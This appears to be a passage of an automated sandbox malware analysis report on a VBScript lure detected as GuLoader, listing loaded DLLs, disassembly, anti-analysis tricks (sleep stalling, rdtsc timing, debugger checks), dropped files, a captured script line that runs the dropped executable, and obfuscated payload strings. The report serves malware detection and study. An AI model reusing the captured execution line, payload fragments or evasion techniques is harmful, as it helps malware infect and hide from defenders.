Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fhcfg.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: efsutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.system.userprofile.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cloudexperiencehostbroker.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Zeskanowana lista przedmiot#U00f3w nr 84329.vbs

Static file information: File size 1306825 > 1048576

Source:

Binary string: wntdll.pdb source: temp_executable.exe, cmdkey.exe

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("C:\Users\user\AppData\Local\Temp\temp_executable.exe", "1", "true");

Yara detected GuLoader

Source: Yara match	File source: 00000003.00000002.20209174867.0000000001876000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.19989077508.00000000032B6000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Code function: 2_2_6FC32351 GlobalFree,GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

2_2_6FC32351

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D408CD push ecx; mov dword ptr [esp], ecx	3_2_32D408D6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A36AE9 pushad ; retf	3_2_32A36B10
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A3562C push ss; retf	3_2_32A35636
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A3CE73 push ebp; iretd	3_2_32A3CE78
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A36245 push ecx; iretd	3_2_32A3627D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A35BE8 push ss; iretd	3_2_32A35CB1
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A3FF58 push edi; iretd	3_2_32A3FF66
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A35C8E push ss; iretd	3_2_32A35CB1
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A35C32 push ss; iretd	3_2_32A35CB1
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A36438 push ebp; retf	3_2_32A3643B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A401A7 push esi; ret	3_2_32A401A8
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A37585 push sp; ret	3_2_32A37589
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A361F9 push ecx; iretd	3_2_32A3627D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A3CDF8 push ebp; iretd	3_2_32A3CE78
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A3CD75 push FFFFFFA0h; retf	3_2_32A3CDEA
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038408CD push ecx; mov dword ptr [esp], ecx	5_2_038408D6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03715BE8 push ss; iretd	5_2_03715CB1
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03725272 push eax; ret	5_2_03725274
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03716245 push ecx; iretd	5_2_0371627D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03716AE9 pushad ; retf	5_2_03716B10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_037161F9 push ecx; iretd	5_2_0371627D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_037201A7 push esi; ret	5_2_037201A8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371FF58 push edi; iretd	5_2_0371FF66
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371CE73 push ebp; iretd	5_2_0371CE78
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371562C push ss; retf	5_2_03715636
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371CD75 push FFFFFFA0h; retf	5_2_0371CDEA
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371CDF8 push ebp; iretd	5_2_0371CE78
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03717585 push sp; ret	5_2_03717589
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03715C32 push ss; iretd	5_2_03715CB1
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03716438 push ebp; retf	5_2_0371643B
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03715C8E push ss; iretd	5_2_03715CB1

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	File created: C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll			Jump to dropped file
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Temp\temp_executable.exe			Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Stalling execution: Execution stalls by calling Sleep

graph_2-4354

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	API/Special instruction interceptor: Address: 34CEB08
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	API/Special instruction interceptor: Address: 1A8EB08
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	API/Special instruction interceptor: Address: 7FFE6B430594
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	API/Special instruction interceptor: Address: 7FFE6B42FF74
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	API/Special instruction interceptor: Address: 7FFE6B42D6C4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	API/Special instruction interceptor: Address: 7FFE6B42D864
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFE6B42D144
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFE6B430594
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFE6B42D764
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFE6B42D324
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFE6B42D364
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFE6B42D004
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFE6B42FF74
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFE6B42D6C4
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFE6B42D864

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Code function: 3_2_32D81763 rdtsc

3_2_32D81763

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\cmdkey.exe	Window / User API: threadDelayed 9852	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 879	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 878	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	API coverage: 0.3 %
Source: C:\Windows\SysWOW64\cmdkey.exe	API coverage: 1.0 %

Source: C:\Windows\SysWOW64\cmdkey.exe TID: 7632	Thread sleep count: 122 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 7632	Thread sleep time: -244000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 7632	Thread sleep count: 9852 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 7632	Thread sleep time: -19704000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\cmdkey.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmdkey.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_004066F4 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	2_2_004066F4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_004065AA FindFirstFileW,FindClose,	2_2_004065AA
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_00402B75 FindFirstFileW,	2_2_00402B75
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_00402B75 FindFirstFileW,	3_2_00402B75
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_004066F4 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_004066F4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_004065AA FindFirstFileW,FindClose,	3_2_004065AA

Source: wscript.exe, 00000000.00000003.19737646187.0000021570516000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bwRav0Y8MCdnM7/KvSEqmDw9xAWu1/vHhc;;;pxFXEFiGHgCb6AN...in;;;Wo8Zss9MGt18vmCIOxO8nbfX4ZlUcq+e91pvD4XSN0xlb4Zjobp+e5k/
Source: wscript.exe, 00000000.00000003.19719138446.000002156FE91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: N...in;;;Wo8Zss9MGt18vmCIOxO8nbfX4ZlUcq+e91pvD4XSN0xlb4Zjobp+e5k/))Y/&&&IU&&&...lKL;;;
Source: wscript.exe, 00000000.00000003.19739306186.000002157054D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19737152269.000002157051F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19732830491.00000215704D0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19736701102.0000021570507000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19742070398.000002157054D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <&&&x50gXd...tK/jR&&&ihgfS+3WDuPEm
Source: wscript.exe, 00000000.00000003.19717592851.000002156FE19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19717374132.000002156FE0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19717973004.000002156FE31000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19718487210.000002156FE3D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19717686950.000002156FE30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19716829408.000002156FDCB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19717161793.000002156FDE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9v9Q/LNvymrnvviRFy...o+Glz4y...94rU1Y3ZhgfsUh9d89xgf5&&&s8sEGgfylXUy8Yz
Source: wscript.exe, 00000000.00000003.19731988448.000002156FF46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19733857534.000002156FF4D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19734168798.000002156FF52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <&&&x50gXd...tK/jR&&&ihgfS+3WDu1t[
Source: wscript.exe, 00000000.00000003.19717478144.000002156FDF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19717559838.000002156FE06000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19716829408.000002156FDCB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19717161793.000002156FDE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fyd0xazxDa0&&&F))&&&x50gXd...tK/jR&&&ihgfS+3WDu))qKD1DNCm&&&K4CpUwXrugyZ/dwG))gxMznyv8qr2vOZmUnCEL0dC7KEf8Ijim4yjsWraX;;;wuPiwwbEp7fdb;;;89))YlKo42gsS/x/&&&O;;;OO6YvmrXH7&&&7D))3kYsjIN...ibfbv&&&gfgor...wjqO73c5E...))GSql7vIE0Sakj6PWGeM493H2yCM/&&&HvQ26DOC0lh&&&f$
Source: wscript.exe, 00000000.00000003.19699697478.0000021570399000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19697552235.0000021570390000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19696896139.0000021570372000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9v9Q/LNvymrnvviRFy...o+Glz4y...94rU1Y3ZhgfsUh9d89xgf5&&&s8sEGgfylXUy8Y
Source: wscript.exe, 00000000.00000003.19720152791.000002156FE96000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19721127089.000002156FEB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19728912654.000002156FEDA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19722569290.000002156FED6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19723874670.000002156FED8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19719138446.000002156FE91000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19720744467.000002156FEA5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lygzfyd0xazxDa0&&&F))&&&x50gXd...tK/jR&&&ihgfS+3WDu))qKD1DNCm&&&K4CpUwXrugyZ/dwG))gxMznyv8qr2vOZmUnCEL0dC7KEf8Ijim4yjsWraX;;;wuPiwwbEp7fdb;;;89))YlKo42gsS/x/&&&O;;;OO6YvmrXH7&&&7D))3kYsjIN...ibfbv&&&gfgor...wjqO73c5E...))GSql7vIE0Sakj6PWGeM493H2yCM/&&&HvQ26DOC0lh&&&fu
Source: wscript.exe, 00000000.00000003.19732112682.000002156FD5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19733444126.000002156FDAB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19745616939.000002156FDAC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19740878308.000002156FD55000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19732614950.000002156FD6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19733082746.000002156FD81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2sY7Q8IQQCM...vwgAEOIk/nERy1Oy+jKw/wjz&&&;;;5RRWwQlrFv/&&&aPWjGcrbXwUze8/io9xdv...6CwwFZkiYWs/GsqPv9A3...d7k;;;fD9itfgiFt3hFqzNA9v9Q/LNvymrnvviRFy...o+Glz4y...94rU1Y3ZhgfsUh9d89xgf5&&&s8sEGgfylXUy8YApHNlYXgj+zxb77WPkRCoLbmk1kzM2c;;;Wh7Qdet;;;&&&uc/1y/8yvb1b&&&0QwU0MC;;;+;;;X3C

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

API call chain: ExitProcess graph end node

graph_2-4054

Source: C:\Windows\SysWOW64\cmdkey.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\cmdkey.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Code function: 3_2_32D81763 rdtsc

3_2_32D81763

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Code function: 3_2_32D834E0 NtCreateMutant,LdrInitializeThunk,

3_2_32D834E0

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Code function: 2_2_6FC32351 GlobalFree,GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

2_2_6FC32351

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D632C5 mov eax, dword ptr fs:[00000030h]	3_2_32D632C5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D732C0 mov eax, dword ptr fs:[00000030h]	3_2_32D732C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D732C0 mov eax, dword ptr fs:[00000030h]	3_2_32D732C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E132C9 mov eax, dword ptr fs:[00000030h]	3_2_32E132C9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D502F9 mov eax, dword ptr fs:[00000030h]	3_2_32D502F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D502F9 mov eax, dword ptr fs:[00000030h]	3_2_32D502F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D502F9 mov eax, dword ptr fs:[00000030h]	3_2_32D502F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D502F9 mov eax, dword ptr fs:[00000030h]	3_2_32D502F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D502F9 mov eax, dword ptr fs:[00000030h]	3_2_32D502F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D502F9 mov eax, dword ptr fs:[00000030h]	3_2_32D502F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D502F9 mov eax, dword ptr fs:[00000030h]	3_2_32D502F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D502F9 mov eax, dword ptr fs:[00000030h]	3_2_32D502F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D372E0 mov eax, dword ptr fs:[00000030h]	3_2_32D372E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A2E0 mov eax, dword ptr fs:[00000030h]	3_2_32D4A2E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A2E0 mov eax, dword ptr fs:[00000030h]	3_2_32D4A2E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A2E0 mov eax, dword ptr fs:[00000030h]	3_2_32D4A2E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A2E0 mov eax, dword ptr fs:[00000030h]	3_2_32D4A2E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A2E0 mov eax, dword ptr fs:[00000030h]	3_2_32D4A2E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A2E0 mov eax, dword ptr fs:[00000030h]	3_2_32D4A2E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D482E0 mov eax, dword ptr fs:[00000030h]	3_2_32D482E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D482E0 mov eax, dword ptr fs:[00000030h]	3_2_32D482E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D482E0 mov eax, dword ptr fs:[00000030h]	3_2_32D482E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D482E0 mov eax, dword ptr fs:[00000030h]	3_2_32D482E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3D2EC mov eax, dword ptr fs:[00000030h]	3_2_32D3D2EC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3D2EC mov eax, dword ptr fs:[00000030h]	3_2_32D3D2EC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D47290 mov eax, dword ptr fs:[00000030h]	3_2_32D47290
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D47290 mov eax, dword ptr fs:[00000030h]	3_2_32D47290
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D47290 mov eax, dword ptr fs:[00000030h]	3_2_32D47290
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E092AB mov eax, dword ptr fs:[00000030h]	3_2_32E092AB
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE289 mov eax, dword ptr fs:[00000030h]	3_2_32DBE289
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1B2BC mov eax, dword ptr fs:[00000030h]	3_2_32E1B2BC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1B2BC mov eax, dword ptr fs:[00000030h]	3_2_32E1B2BC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1B2BC mov eax, dword ptr fs:[00000030h]	3_2_32E1B2BC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1B2BC mov eax, dword ptr fs:[00000030h]	3_2_32E1B2BC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3C2B0 mov ecx, dword ptr fs:[00000030h]	3_2_32D3C2B0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF2AE mov eax, dword ptr fs:[00000030h]	3_2_32DFF2AE
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D642AF mov eax, dword ptr fs:[00000030h]	3_2_32D642AF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D642AF mov eax, dword ptr fs:[00000030h]	3_2_32D642AF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D392AF mov eax, dword ptr fs:[00000030h]	3_2_32D392AF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF247 mov eax, dword ptr fs:[00000030h]	3_2_32DFF247
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F24A mov eax, dword ptr fs:[00000030h]	3_2_32D6F24A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B273 mov eax, dword ptr fs:[00000030h]	3_2_32D3B273
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B273 mov eax, dword ptr fs:[00000030h]	3_2_32D3B273
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B273 mov eax, dword ptr fs:[00000030h]	3_2_32D3B273
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD327E mov eax, dword ptr fs:[00000030h]	3_2_32DD327E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD327E mov eax, dword ptr fs:[00000030h]	3_2_32DD327E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD327E mov eax, dword ptr fs:[00000030h]	3_2_32DD327E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD327E mov eax, dword ptr fs:[00000030h]	3_2_32DD327E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD327E mov eax, dword ptr fs:[00000030h]	3_2_32DD327E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD327E mov eax, dword ptr fs:[00000030h]	3_2_32DD327E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFD270 mov eax, dword ptr fs:[00000030h]	3_2_32DFD270
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3821B mov eax, dword ptr fs:[00000030h]	3_2_32D3821B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCB214 mov eax, dword ptr fs:[00000030h]	3_2_32DCB214
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCB214 mov eax, dword ptr fs:[00000030h]	3_2_32DCB214
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3A200 mov eax, dword ptr fs:[00000030h]	3_2_32D3A200
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D60230 mov ecx, dword ptr fs:[00000030h]	3_2_32D60230
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC0227 mov eax, dword ptr fs:[00000030h]	3_2_32DC0227
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC0227 mov eax, dword ptr fs:[00000030h]	3_2_32DC0227
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC0227 mov eax, dword ptr fs:[00000030h]	3_2_32DC0227
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7A22B mov eax, dword ptr fs:[00000030h]	3_2_32D7A22B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7A22B mov eax, dword ptr fs:[00000030h]	3_2_32D7A22B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7A22B mov eax, dword ptr fs:[00000030h]	3_2_32D7A22B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D733D0 mov eax, dword ptr fs:[00000030h]	3_2_32D733D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D743D0 mov ecx, dword ptr fs:[00000030h]	3_2_32D743D0
